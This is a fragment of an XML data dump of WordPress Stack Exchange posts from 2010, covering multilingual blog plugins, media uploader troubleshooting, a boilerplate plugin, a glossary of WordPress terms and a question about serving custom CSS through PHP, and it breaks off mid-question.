  <row Id="1552" PostTypeId="1" AcceptedAnswerId="1589" CreationDate="2010-09-08T22:36:33.573" Score="6" ViewCount="558" Body="&lt;p&gt;A client asked for a blog that will have localized content (i.e. en.blogname.com for English content, fr.blogname.com for French content, etc). Being new to building such a blog, we recently discovered &lt;a href=&quot;http://wpml.org/&quot; rel=&quot;nofollow&quot;&gt;WPML&lt;/a&gt; and &lt;a href=&quot;http://www.qianqin.de/qtranslate/&quot; rel=&quot;nofollow&quot;&gt;qTranslate&lt;/a&gt;, which look perfect for our needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any best / recommended practices for setting up a multilingual blog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, we don't envision the need to have the WordPress software translated, but if you've found that to be a good idea, we would love to know. The authors will all be multilingual (English + one other language), but it's conceivable that non-English speakers may be hired later.&lt;/p&gt;&#xA;" OwnerUserId="128" LastActivityDate="2010-09-10T22:26:59.033" Title="Best practices for localizing WordPress content?" Tags="&lt;content&gt;&lt;multi-language&gt;&lt;best-practices&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="3" />
  <row Id="1553" PostTypeId="2" ParentId="1430" CreationDate="2010-09-08T23:17:23.733" Score="1" ViewCount="" Body="&lt;p&gt;This seems to be a common problem. I've dealt with it a while ago too. In my case, all of the proper directories had 777 permissions. Here is my solution, along with a bunch of others that I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In my situation, I had to make sure the FTP user account I was using for WordPress had read/write/execute access. Inexplicably, the original user account had its permissions reset, perhaps by the web host or something. We were never able to determine what caused this change. Using an admin account, we were able to upload images without issues again.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These tips come from &lt;a href=&quot;http://wordpress.org/support/topic/25-imagemedia-uploader-problems?replies=1&quot; rel=&quot;nofollow&quot;&gt;a thread from WordPress support&lt;/a&gt; for WP 2.5 (you can refer to the link for more info on any of these items):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure you uploaded all the WordPress files correctly.&lt;/li&gt;&#xA;&lt;li&gt;Clear your browser cache, restart your browser.&lt;/li&gt;&#xA;&lt;li&gt;Update your Adobe Flash to the latest version (esp you Linux users!)&lt;/li&gt;&#xA;&lt;li&gt;Disable your plugins and see if the buttons appear. If so, reactivate one by one until they don't appear any more.&lt;/li&gt;&#xA;&lt;li&gt;Upgrade all your plugins as well.&lt;/li&gt;&#xA;&lt;li&gt;The highly popular Bad Behavior plugin breaks the uploader. Upgrade it to 2.0.14 (or later).&lt;/li&gt;&#xA;&lt;li&gt;mod_security might be causing problems. Disable it to see if that is the problem.&lt;/li&gt;&#xA;&lt;li&gt;Try a smaller image, in pixels. Filesize is largely irrelevant, it's the width and height of the image that matters.&lt;/li&gt;&#xA;&lt;li&gt;Sometimes the problem is with the image itself. WordPress uses the normal PHP functions for working with images, which are in the &quot;GD&quot; library. GD has problems with certain types of images. One particular image type that it cannot handle is grayscale images. If your image is black and white or grayscale, then make sure that it's a FULL COLOR image.&lt;/li&gt;&#xA;&lt;li&gt;A new issue in WordPress 2.6 occurs when you have a custom directory for file uploads. The upload will work, but the link/thumbnail link will be wrong and so the image won't appear.&lt;/li&gt;&#xA;&lt;li&gt;Do you have custom settings on the Settings-&gt;Miscellaneous screen? If so, make sure that they are correct. The upload directory must not have a leading slash in front of it (uploads instead of /uploads), and the URL must not have a slash at the end of it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="128" LastActivityDate="2010-09-08T23:17:23.733" />
  <row Id="1554" PostTypeId="2" ParentId="1551" CreationDate="2010-09-08T23:30:21.057" Score="0" ViewCount="" Body="&lt;p&gt;The Dummies Guide to WordPress is probably your best bet.&#xA;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B0041D8VCG&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/WordPress-Dummies-sup-ebook/dp/B0041D8VCG/ref=sr_1_2?ie=UTF8&amp;amp;m=AZC9TZ4UC9CFC&amp;amp;s=digital-text&amp;amp;qid=1283988599&amp;amp;sr=8-2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-09-08T23:30:21.057" />
  <row Id="1555" PostTypeId="2" ParentId="1515" CreationDate="2010-09-09T01:49:21.610" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Scott B&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question got me thinking about extending your use-case to a plugin I published earlier called &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-boilerplate-shortcode/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;WP Boilerplate Shortcode&lt;/em&gt;&lt;/a&gt;. I know your question isn't about shortcodes but the name is only legacy for your use-case; indeed my extension I just added because of your question will do (almost) exactly what you are asking for (I'll explain the &lt;em&gt;&quot;almost&quot;&lt;/em&gt; part below). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to have to come back and document this more in-depth but I figured I've give you first access to it sooner than later (note the &lt;code&gt;instructions.txt&lt;/code&gt; file &lt;em&gt;does not&lt;/em&gt; address the new features yet):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download the &lt;a href=&quot;http://mikeschinkel.com/downloads/wp-boilerplate-shortcode-v1.0.5.zip&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP Boilerplate Shortcode Plugin - v1.0.5&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The easy part of doing what you ask was the back-end coding; the harder part was figuring out a good UI. If there are multiple content items to choose from the user needs a way to select which one to use and there's not one obvious way to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One approach I could have used would have been to intercept when the user clicked &lt;em&gt;&quot;Add Post&quot;&lt;/em&gt; and ask them which pre-populated content item they want to start with but that seemed kludgy and not in line with how the WordPress admin normally works. So instead I added a &lt;em&gt;&quot;Insert Boilerplate&quot;&lt;/em&gt; metabox with a dropdown containing the list of available boilerplate text items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use this plugin download, copy to a subdirectory in your &lt;code&gt;/wp-content/plugins/&lt;/code&gt; directory and then activate it.  After activation look for the &lt;em&gt;&quot;Boilerplate&quot;&lt;/em&gt; menu and start adding your sales Letters as Boilerplates being careful to selecting the &lt;em&gt;&quot;Associated Post Types&quot;&lt;/em&gt; for which you want each Boilerplate to be active. Then in the &lt;em&gt;&quot;Add {post type}&quot;&lt;/em&gt; window in the admin look to the top right; you'll find the content from the boilerplate to the end of whatever is currently in the content editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100908-214803.png&quot; alt=&quot;Screenshot of WordPress 3.0.1 and the Metabox from WP BoilerPlate Shortcode v1.0.5&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that upon activation the plugin will add any post types you might have into the &lt;em&gt;&quot;Associated Post Type&quot;&lt;/em&gt; taxonomy but if you add new post types later you'll have to add them manually; just make sure to match exactly the plural name of the post type (i.e. &lt;em&gt;&quot;Products&quot;&lt;/em&gt; or &lt;em&gt;&quot;Featured Posts&quot;&lt;/em&gt; or whatever.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't exactly what you asked for but given the need for a way to select content I think it's a really workable solution. I'd love to get your feedback on what you think of it.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-09T01:49:21.610" CommentCount="4" />
  <row Id="1556" PostTypeId="2" ParentId="1270" CreationDate="2010-09-09T01:57:41.573" Score="0" ViewCount="" Body="&lt;p&gt;@goldenapples - I don't yet have the capability to comment so my response to your query goes here. You can install &lt;a href=&quot;http://www.helicontech.com/isapi_rewrite/&quot; rel=&quot;nofollow&quot;&gt;ISAPI_Rewrite&lt;/a&gt; on IIS and have it take care of your permalink needs.&lt;/p&gt;&#xA;" OwnerUserId="657" LastActivityDate="2010-09-09T01:57:41.573" />
  <row Id="1557" PostTypeId="2" ParentId="1551" CreationDate="2010-09-09T02:16:28.330" Score="3" ViewCount="" Body="&lt;p&gt;It's not a book but I wrote a &lt;em&gt;&quot;25 Steps to Understand WordPress and it's Terms&quot;&lt;/em&gt; about a month ago in response to a question on the LinkedIn WordPress group and maybe copying it here will help?  (Maybe I could every take these and turn them into a book for managers complete with screenshots; what do you think?)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;25 Steps to Understanding WordPress and it's Terms&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Here's a very high-level overview of terms (&lt;strong&gt;&lt;em&gt;Note:&lt;/strong&gt; I'm stating things that are not 100% true early in the list and leaving out some details in earlier points. Rest assured I know that some of these earlier points are not 100% correct but clarification too soon will just overwhelm the reader&lt;/em&gt;): &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1: A &lt;em&gt;&quot;CMS&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;WordPress is a &lt;em&gt;&quot;Content Management System&quot;&lt;/em&gt; aka a &lt;em&gt;&quot;CMS.&quot;&lt;/em&gt; In other words it is a system to manage (and present) content. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2: &lt;em&gt;&quot;posts&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;WordPress stores each of it's major content items in what they call &lt;em&gt;&quot;posts&quot;&lt;/em&gt; (lowercase &lt;em&gt;&quot;posts&quot;&lt;/em&gt; that is.) There is subsidary content not stored in a &lt;em&gt;&quot;post&quot;&lt;/em&gt; but major content is stored in a &lt;em&gt;&quot;post.&quot;&lt;/em&gt; How do you tell if it's major or not? The person who configures the site makes that decision. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3: &lt;em&gt;&quot;Posts&quot;&lt;/em&gt; &amp;amp; &lt;em&gt;&quot;Pages&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Out of the box WordPress has two types of &lt;em&gt;&quot;posts&quot;&lt;/em&gt;: &lt;em&gt;&quot;Posts&quot;&lt;/em&gt; and &lt;em&gt;&quot;Pages&quot;&lt;/em&gt; (Note they are Proper case. Yes this can be confusing. Just pay attention to the capitalization and realize that a &lt;em&gt;&quot;post&quot;&lt;/em&gt; is like a generic &lt;em&gt;&quot;car&quot;&lt;/em&gt; and a &lt;em&gt;&quot;Post&quot;&lt;/em&gt; is like a &lt;em&gt;&quot;Ford Mustang.&quot;&lt;/em&gt;) &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;4: &lt;em&gt;&quot;Posts&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A &lt;em&gt;&quot;Post&quot;&lt;/em&gt; is a content type that is used to store &lt;em&gt;&quot;blog-like&quot;&lt;/em&gt; content. Blog-like content typically has the following unique attributes: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;an Author, &lt;/li&gt;&#xA;&lt;li&gt;a Date/time published, &lt;/li&gt;&#xA;&lt;li&gt;Optional Commenting. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;5: &lt;em&gt;&quot;Pages&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A &lt;em&gt;&quot;Page&quot;&lt;/em&gt; on the other hand is a content type used to store what appear to be &lt;em&gt;&quot;static&quot;&lt;/em&gt; web pages on your site like your &lt;em&gt;&quot;About&quot;&lt;/em&gt; page, your &lt;em&gt;&quot;Services&quot;&lt;/em&gt; page, maybe your &lt;em&gt;&quot;Products&quot;&lt;/em&gt; page, your &lt;em&gt;&quot;Contact Page&quot;&lt;/em&gt; and so on. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;6: &lt;em&gt;&quot;web pages&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Don't get a WordPress &lt;em&gt;&quot;Page&quot;&lt;/em&gt; confused with a &lt;em&gt;&quot;web page&quot;&lt;/em&gt;; practically every URL that you visit on a WordPress website generates a web page; a &lt;em&gt;&quot;Page&quot;&lt;/em&gt; in WordPress on the other hand is a type of content as defined by WordPress. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;7: &lt;em&gt;&quot;main menu items&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Many (most?) of the main menu items in a WordPress website typically link to a &lt;em&gt;&quot;Page&quot;&lt;/em&gt; and rarely to a &lt;em&gt;&quot;Post.&quot;&lt;/em&gt; To access Posts via a main menu item would typically link to &lt;em&gt;list&lt;/em&gt; of posts. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;8: Lists of Posts&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Your main list of Posts is typically either your home web page or your &lt;em&gt;&quot;Blog&quot;&lt;/em&gt; web page. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;9: &lt;em&gt;&quot;Categories&quot;&lt;/em&gt; &amp;amp; &lt;em&gt;&quot;Tags&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can also find website that will display a web page containing a list of Posts based on those assigned to a given &lt;em&gt;&quot;Category&quot;&lt;/em&gt; or a given &lt;em&gt;&quot;Tag&quot;&lt;/em&gt; (more on Categories and Tags later.) &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;10: &lt;em&gt;&quot;Pages&quot;&lt;/em&gt;, redux&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A &lt;em&gt;&quot;Page&quot;&lt;/em&gt; typically has the following unique attributes: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;An optional &lt;em&gt;&quot;Parent&quot;&lt;/em&gt; Page which enables streamlined URLs like:&lt;br&gt;&#xA;&lt;code&gt;http://example.com/parent-page/child-page/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;An optional &lt;em&gt;&quot;Page Template&quot;&lt;/em&gt; (more on those in a bit.) &lt;/li&gt;&#xA;&lt;li&gt;And an optional &lt;em&gt;&quot;order&quot;&lt;/em&gt; which in older versions before WordPress 3.0 was used to determine the order in menu this page's menu.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;11: Shared Attributes of Posts &amp;amp; Pages&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Both Posts and Pages share the following attributes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A &lt;strong&gt;Title&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;A &lt;strong&gt;Content Body&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;A &lt;strong&gt;Status&lt;/strong&gt; (&lt;em&gt;Published&lt;/em&gt;, &lt;em&gt;Pending Review&lt;/em&gt;, &lt;em&gt;Draft&lt;/em&gt;, etc.)&lt;/li&gt;&#xA;&lt;li&gt;A &lt;strong&gt;Visibility&lt;/strong&gt; (&lt;em&gt;Public&lt;/em&gt;, &lt;em&gt;Private&lt;/em&gt;, &lt;em&gt;Password Protected&lt;/em&gt;, etc.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Custom Fields&lt;/strong&gt; (ability to associate any set of name-value pairs of information that you want to any Post or Page)&lt;/li&gt;&#xA;&lt;li&gt;A &lt;strong&gt;Featured Image&lt;/strong&gt; (aka a &lt;em&gt;Thumbnail&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Probably more...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;12: Differences between Posts and Pages Revisited&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Actually, the &lt;em&gt;&quot;unique&quot;&lt;/em&gt; things I mentioned for Posts and for Pages are actually shared meaning you can get (practically) everything with either post type but most of the time people use Posts as described and Pages as described and there is not a whole lot of reason not to.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;13: Components of a WordPress site&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Every WordPress site is comprised of (two or) three components:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;WordPress *&quot;Core&quot;&lt;/strong&gt; -- That's what everyone who uses WordPress has.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;One (1) &lt;em&gt;&quot;Theme&quot;&lt;/em&gt; at a time&lt;/strong&gt; -- This is what provides a sites look and might include functionality (like a home page image rotator or a sidebar video player.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Zero (0) or more &lt;em&gt;&quot;Plugins&quot;&lt;/em&gt;&lt;/strong&gt; -- These can do almost anything but typically they add some kind of functionality somewhere such as your latest Tweets from Twitter in a sidebar or even the ability to edit specialty types.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;14: &lt;em&gt;&quot;Themes&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A &lt;em&gt;&quot;Theme&quot;&lt;/em&gt; in WordPress is a collection of programming scripts in the PHP language that generate HTML web pages when used, CSS files for &lt;em&gt;&quot;styling&quot;&lt;/em&gt; the layout, colors, and fonts, Images used to create the site design, and probably some other files.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;15: &lt;em&gt;&quot;Theme template files&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A Theme has &lt;em&gt;&quot;template files&quot;&lt;/em&gt; in PHP that are used to generate the HTML web pages for the site. They are named using a naming convention and most of them are optional.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;16: &lt;em&gt;&quot;single.php&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;&quot;single.php&quot;&lt;/em&gt; file it used by WordPress to generate the HTML required to display a single Post content item.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;17: &lt;em&gt;&quot;page.php&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;&quot;page.php&quot;&lt;/em&gt; file is the default &lt;em&gt;&quot;Page Template&quot;&lt;/em&gt; (more on them in a bit) used by WordPress to display a single Page content item.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;18: &lt;em&gt;&quot;index.php&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;&quot;index.php&quot;&lt;/em&gt; is the default file WordPress uses to generate HTML if no other more specialize template file is not available. This file can generate both lists of Posts and/or it can display specific Posts Pages or Pages based on the URL that a browser uses to request a web page from the site.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;19: &lt;em&gt;&quot;header.php&quot;&lt;/em&gt; and &lt;em&gt;&quot;footer.php&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The files &lt;em&gt;&quot;header.php&quot;&lt;/em&gt; and &lt;em&gt;&quot;footer.php&quot;&lt;/em&gt; respectively generate the beginning and ending HTML for (practically) every page on a WordPress site. The HTML they generate &lt;em&gt;&quot;wraps&quot;&lt;/em&gt; around the HTML generated by the other PHP files.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;20: &lt;em&gt;&quot;Page Templates&quot;&lt;/em&gt; (finally)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A &lt;em&gt;&quot;Page Template&quot;&lt;/em&gt; is a file that is part of a Theme and it is also a special type of &lt;em&gt;&quot;template file.&quot;&lt;/em&gt; A Page Template allows WordPress to display different Pages with different web page layouts. For example a Theme could have two (2) different Page Templates: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The Default Two-Column Page Template and &lt;/li&gt;&#xA;&lt;li&gt;A One-Column Page Template.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;21: Classifying Posts &amp;amp; Pages: Taxonomy&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;WordPress provides a flexible system called the &lt;em&gt;&quot;Taxonomy&quot;&lt;/em&gt; system to enable site owners and authors to classify their Posts and/or Pages (aka &lt;em&gt;&quot;posts.&quot;&lt;/em&gt;) You can classify posts using &lt;em&gt;&quot;Categories&quot;&lt;/em&gt; or &lt;em&gt;&quot;Tags&quot;&lt;/em&gt;; collectively they comprise the Taxonomy system.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;22: &lt;em&gt;&quot;Categories&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A &lt;em&gt;&quot;Category&quot;&lt;/em&gt; is a name that can be applied to a post to classify it. The list of Categories on a web site is typically a short list of pre-defined terms that collectively help define the focus of the site. Examples might be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;&quot;Automobiles&quot;&lt;/em&gt;, &lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;&quot;Social Media&quot;&lt;/em&gt;, &lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;&quot;Politics&quot;&lt;/em&gt;, &lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;23: &lt;em&gt;&quot;Tags&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A &lt;em&gt;&quot;Tag&quot;&lt;/em&gt; is also a term that can be applied to a page to classify but Tags are typically free-form entry and are typically used to match up with the details of the post. it. Given the list of Categories from above Tags might be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;&quot;Ford Mustang&quot;&lt;/em&gt;, &lt;em&gt;&quot;BMW 5 Series&quot;&lt;/em&gt; or &lt;em&gt;&quot;Shelby Cobra&quot;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;&quot;Twitter&quot;&lt;/em&gt;, &lt;em&gt;&quot;Facebook&quot;&lt;/em&gt; or &lt;em&gt;&quot;FourSquare&quot;&lt;/em&gt;; and &lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;&quot;Obama&quot;&lt;/em&gt;, &lt;em&gt;&quot;Congress&quot;&lt;/em&gt;, &lt;em&gt;&quot;Tea Party.&quot;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;24: List of &lt;em&gt;&quot;posts&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Using Categories and Tags you can generate HTML web pages which are list of posts using URLs like these:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;For Categories:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://example.com/category/automobiles&quot; rel=&quot;nofollow&quot;&gt;http://example.com/category/automobiles&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://example.com/category/social-media&quot; rel=&quot;nofollow&quot;&gt;http://example.com/category/social-media&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://example.com/category/politics&quot; rel=&quot;nofollow&quot;&gt;http://example.com/category/politics&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;For Tags:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://example.com/tag/ford-mustang&quot; rel=&quot;nofollow&quot;&gt;http://example.com/tag/ford-mustang&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://example.com/tag/bmw-5-series&quot; rel=&quot;nofollow&quot;&gt;http://example.com/tag/bmw-5-series&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://example.com/tag/shelby-cobra&quot; rel=&quot;nofollow&quot;&gt;http://example.com/tag/shelby-cobra&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://example.com/tag/twitter&quot; rel=&quot;nofollow&quot;&gt;http://example.com/tag/twitter&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://example.com/tag/facebook&quot; rel=&quot;nofollow&quot;&gt;http://example.com/tag/facebook&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://example.com/tag/foursquare&quot; rel=&quot;nofollow&quot;&gt;http://example.com/tag/foursquare&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://example.com/tag/obama&quot; rel=&quot;nofollow&quot;&gt;http://example.com/tag/obama&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://example.com/tag/congress&quot; rel=&quot;nofollow&quot;&gt;http://example.com/tag/congress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://example.com/tag/tea-party&quot; rel=&quot;nofollow&quot;&gt;http://example.com/tag/tea-party&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;25: &lt;em&gt;&quot;Parent Themes&quot;&lt;/em&gt; &amp;amp; &lt;em&gt;&quot;Child Themes&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While WordPress can have a standalone Theme a relatively new development is what they call a &lt;em&gt;&quot;Child Theme.&quot;&lt;/em&gt; It sits in a side-by-side directory and references the &lt;em&gt;&quot;Parent Theme.&quot;&lt;/em&gt; Anything the Child Theme doesn't do explicitly WordPress delegates to the Parent Theme. This way you can &lt;em&gt;&quot;modify&quot;&lt;/em&gt; a Theme provided by someone else without completely modifying it (i.e. you can often seemlessly upgrade to a newer version of the Parent Theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note&lt;/em&gt; that anytime a Child Theme is created the Theme it references becomes a &lt;em&gt;&quot;Parent Theme&quot;&lt;/em&gt; by default.) Parent/Child Themes also make it much easier to create reusable Themes and also much easier for someone new to get started; they just need to create a Child Theme of an existing Theme.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Epilogue: Whew!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Whew! I think that's about it for the basics. There is a ton more to learn about WordPress, of course, but I think this might help you better understand the terminology of the WordPress world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've digested all that, let me and the others know how else we can help you.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-09T06:20:31.093" LastActivityDate="2010-09-09T06:20:31.093" CommentCount="3" />
  <row Id="1558" PostTypeId="2" ParentId="1551" CreationDate="2010-09-09T03:33:08.117" Score="2" ViewCount="" Body="&lt;p&gt;Another &quot;not a book, but...&quot; answer: check out &lt;a href=&quot;http://www.wp101.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.wp101.com/&lt;/a&gt;. Tutorial videos that cover a wide range of skill levels, from creating a post to managing comments to building custom menus. Very practical topics for someone running a WordPress site.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-09-09T03:33:08.117" CommentCount="3" />
  <row Id="1559" PostTypeId="2" ParentId="1549" CreationDate="2010-09-09T03:48:45.817" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14818&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/14818&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-09-09T03:48:45.817" CommentCount="1" />
  <row Id="1560" PostTypeId="1" AcceptedAnswerId="1574" CreationDate="2010-09-09T04:02:17.837" Score="2" ViewCount="561" Body="&lt;p&gt;As part of my efforts to speed up my themes for my clients I am delivering my CSS via a dynamic PHP file. At the end of the called for example &lt;code&gt;my_theme_css.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows me to add Expiry headers to my CSS and JavaScript like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;header(&quot;Expires: Thu, 31 Dec 2020 20:00:00 GMT&quot;);&#xA;header('Content-type: text/css');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then want to allow the user to add thir own custom CSS so I have set the following up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;header(&quot;Expires: Thu, 31 Dec 2020 20:00:00 GMT&quot;);&#xA;header('Content-type: text/css');&#xA;?&amp;gt;&#xA;&#xA;p{color:blue;}&#xA;&#xA;/** Custom CSS **/&#xA;&amp;lt;?php &#xA;if(get_theme_mod('my_custom_css') != '') {&#xA;  $my_custom_css = get_theme_mod('my_custom_css'); &#xA;  echo $my_custom_css; &#xA;}&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have then added the applicable theme options. But what I am finding is that &lt;code&gt;get_theme_mod()&lt;/code&gt; doesn't work due to scope issue (I imagine.) Any suggestions on how to get around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could add the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;if(get_theme_mod('my_custom_css') != '') {&#xA;  $my_custom_css = get_theme_mod('my_custom_css'); 